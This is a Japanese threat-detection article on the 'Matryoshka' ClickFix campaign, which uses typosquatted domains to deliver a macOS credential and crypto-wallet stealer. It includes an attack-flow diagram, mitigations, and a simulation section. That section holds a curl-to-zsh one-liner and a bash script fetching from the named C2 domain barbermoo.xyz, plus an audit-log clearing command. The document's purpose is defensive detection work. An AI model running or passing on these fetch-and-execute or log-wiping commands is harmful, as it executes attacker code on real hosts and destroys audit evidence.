新しい「マトリョーシカ」ClickFixバリアントを解剖:タイポスクワッティングキャンペーンがmacOSスティーラーを配信
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Matryoshkaと名付けられた新しいmacOSマルウェア作戦は、タイポスクワッティングされたドメインを悪用し、被害者に悪意あるコマンドをTerminalに貼り付けさせる社会工学を駆使しています。このワンライナーは、メモリ内でデコードを行うエンコードされたスクリプトを引き出し、最終的にはAppleScriptベースのスティーラーを展開して、ブラウザの資格情報と暗号通貨ウォレットを狙います。インストーラーはバックグラウンドで静かに動作し、目に見える出力を抑制し、収集したデータをアップロードします カスタムAPIヘッダーによって。キャンペーンはソフトウェアの脆弱性を利用するのではなく、ユーザーの操作に依存しています。
調査
Intego のアナリストは、タイポスクワッティングされたドメインがbarbermoo.xyzにホストされた軽量のシェルステージにユーザーをリダイレクトするチェーンを再構築しました。スクリプトはメモリ内でBase64 + gzipデコードを実行し、AppleScriptペイロードを取得するローダーを実行し、収集結果を/tmp/osalogging.zipにステージングしてから漏洩します。AppleScriptは、偽のシステム環境設定のプロンプトを表示してクレデンシャルを盗もうとし、またLedger LiveとTrezor Suiteアプリケーションバンドルを置き換えまたはパッチを当てることで暗号ツールをターゲットにします。
緩和策
ユーザーの意識が主な対策です:WebサイトからTerminalコマンドを貼り付けないでください。識別されたタイポスクワッティングドメインとC2関連ドメイン、ならびに配信をサポートするトラフィック分配インフラストラクチャをブロックして監視してください。アプリケーションの許可リストを適用し、不審なosascriptの実行と異常なcurlベースの取得パターンを検出できるエンドポイント保護を使用してください。
対応策
Terminalから開始されるcurlがzshまたはosascriptにパイプされる場合に警告を出し、/tmp/osalogging.zipの作成を監視し、Ledger LiveとTrezor Suiteバンドルへの予期しない変更をフラグ付けします。barbermoo.xyz、comparisions.org、macfilesendstream.comのDNSフィルタリングを強制してください。curl駆動のコマンド実行直後にバックグラウンドで静かに起動するプロセスを調査してください。
“graph TB %% クラス定義 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ccffcc %% ノード action_initial_access[“<b>アクション</b> – <b>T1204.001 ユーザー実行 マルウェアリンク</b><br/><b>説明</b>: 被害者はタイポスクワッティングされたドメインを訪れ、コピーペーストコマンドを見る。”] class action_initial_access action tool_curl[“<b>ツール</b> – <b>名前</b>: curl<br/><b>説明</b>: データをURLから被害者のマシンに転送します。”] class tool_curl tool process_fetch_rogue[“<b>プロセス</b> – <b>名前</b>: fetch_rogue.sh<br/><b>コマンド</b>: curl u2026 | sh”] class process_fetch_rogue process action_execution[“<b>アクション</b> – <b>T1059.004 Unixシェル</b><br/><b>説明</b>: Unixシェルコマンドを実行してrogue.shをダウンロードして実行します。”] class action_execution action action_obfuscation[“<b>アクション</b> – <b>T1027.009 埋め込みペイロード</b><br/><b>説明</b>: rogue.shはメモリ内で直接デコードされるbase64gzipペイロードを含みます。”] class action_obfuscation action action_indirect_exec[“<b>アクション</b> – <b>T1202 間接コマンド実行</b><br/><b>説明</b>: ローダーはバックグラウンドで実行し、ターミナルから切り離してI/Oを抑制します。”] class action_indirect_exec action tool_applescript[“<b>ツール</b> – <b>名前</b>: AppleScript<br/><b>説明</b>: ユーザー入力をキャプチャするために偽のシステム環境設定ダイアログを表示します。”] class tool_applescript tool action_gui_capture[“<b>アクション</b> – <b>T1056.002 GUI入力キャプチャ</b><br/><b>説明</b>: AppleScriptダイアログはユーザーが入力したパスワードをキャプチャします。”] class action_gui_capture action action_cred_harvest[“<b>アクション</b> – <b>T1056 入力キャプチャ</b><br/><b>説明</b>: スクリプトはユーザーの操作後に保存されたブラウザ資格情報を収集します。”] class action_cred_harvest action action_masquerade[“<b>アクション</b> – <b>T1036 偽装</b><br/><b>説明</b>: Ledger LiveとTrezor Suiteのバイナリを悪意のあるバージョンに置き換えて再署名します。”] class action_masquerade action action_stage_data[“<b>アクション</b> – <b>T1074.001 ローカルデータステージング</b><br/><b>説明</b>: 流出前に/tmp/osalogging.zipに盗まれたファイルをステージングします。”] class action_stage_data action action_c2_comm[“<b>アクション</b> – <b>T1071.001 Webプロトコル</b><br/><b>説明</b>: HTTP(S)リクエストとカスタムAPIキーのヘッダーを使用してC2サーバーと通信します。”] class action_c2_comm action action_exfil_over_c2[“<b>アクション</b> – <b>T1041 C2チャネル越しの流出</b><br/><b>説明</b>: POSTリクエストでステージングされたzipアーカイブをC2サーバーにアップロードします。”] class action_exfil_over_c2 action action_auto_exfil[“<b>アクション</b> – <b>T1020 自動化された流出</b><br/><b>説明</b>: データはさらなるユーザーの操作なしにC2に自動的に送信されます。”] class action_auto_exfil action %% 接続 action_initial_access u002du002d>|使用する| tool_curl tool_curl u002du002d>|ダウンロード| process_fetch_rogue process_fetch_rogue u002du002d>|実行| action_execution action_execution u002du002d>|につながる| action_obfuscation action_obfuscation u002du002d>|を有効にする| action_indirect_exec action_indirect_exec u002du002d>|使用する| tool_applescript tool_applescript u002du002d>|トリガー| action_gui_capture action_gui_capture u002du002d>|キャプチャ| action_cred_harvest action_cred_harvest u002du002d>|提供する| action_masquerade action_masquerade u002du002d>|保存| action_stage_data action_stage_data u002du002d>|転送| action_c2_comm action_c2_comm u002du002d>|流出| action_exfil_over_c2 action_exfil_over_c2 u002du002d>|自動化| action_auto_exfil %% クラス割り当て class action_initial_access,action_execution,action_obfuscation,action_indirect_exec,action_gui_capture,action_cred_harvest,action_masquerade,action_stage_data,action_c2_comm,action_exfil_over_c2,action_auto_exfil action class tool_curl,tool_applescript tool class process_fetch_rogue process “
攻撃フロー
シミュレーション実行
前提条件: テレメトリおよびベースラインの離陸前チェックに合格していること。
根拠: このセクションでは、検出ルールを発動するために設計された敵対者の技術(TTP)の正確な実行を詳細に説明しています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって予期される正確なテレメトリを生成することを目的としていなければなりません。
-
攻撃の物語とコマンド:
すでに低特権のmacOSアカウントを侵害した敵対者は、ファイルをディスクに書き込まずにリモートペイロードを実行したがっています。彼らは、悪意のあるC2ドメインからbase64エンコードされたスクリプトをフェッチするワンライナーを作成します(barbermoo.xyz)、それを直接zshにパイプし、最終的にevalを使用して、メモリ内でペイロードを実行します。このアプローチは、T1059.004(Unixシェル)およびT1027(難読化)に一致し、Sigmaルールが監視しているものと正確に一致します。-
攻撃者はリクエストをキャンペーンに結びつけるユニークなトークン(
ABCD1234)を入手します。 -
彼らはTerminalセッションで次のワンライナーを実行します:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsh -
フェッチされたスクリプトの中で、変数
payloadがbase64エンコードされた悪意あるペイロードを保持し、これは以下を通じて実行されます:eval "$payload"
これにより、ルールが一致する2つの異なるコマンドラインエントリが生成されます:
curl -fsSL https://barbermoo.xyz/curl/ABCD1234 | zsheval "$payload"
-
-
回帰テストスクリプト:
以下のスクリプトは、管理されたラボ環境で不正行為を再現します。 これをmacOSテストホストでのみ実行してください。 それは自身の実行をシステム監査ログに記録し、検出ルールを満たしています。#!/usr/bin/env bash # ------------------------------------------------- # Matryoshkaバリアントシミュレーション – Sigmaルールをトリガー # ------------------------------------------------- set -euo pipefail # --- 設定 ------------------------------------------------- TOKEN="ABCD1234" # ユニークさをシミュレートするために任意の文字列に置換 MALICIOUS_URL="https://barbermoo.xyz/curl/${TOKEN}" # デモ用の小さく無害なペイロード – メッセージをエコーする(レッドチームで実際のペイロードに置き換え) PAYLOAD="echo '悪意のあるペイロードが実行されました'" # --- ステップ1: フェッチしてzshにパイプする(最初の検出パターンに一致) --- curl -fsSL "${MALICIOUS_URL}" | zsh # --- ステップ2: メモリ内でのevalをシミュレート(2番目のパターンに一致) ------------- # 実際の攻撃では、ペイロードはbase64エンコードされ、その場でデコードされます。 eval "${PAYLOAD}" -
クリーンアップコマンド: 一時的なプロセスを削除し、シェルの状態を復元します。
# テストによって生成されたzshプロセスを終了します(まだ実行中の場合) pkill -f "zsh -c .*barbermoo.xyz" # オプションで、テストエントリの監査ログをクリアします(管理者が必要) sudo audit -c # 監査バッファをフラッシュすること(T1070.010を示す)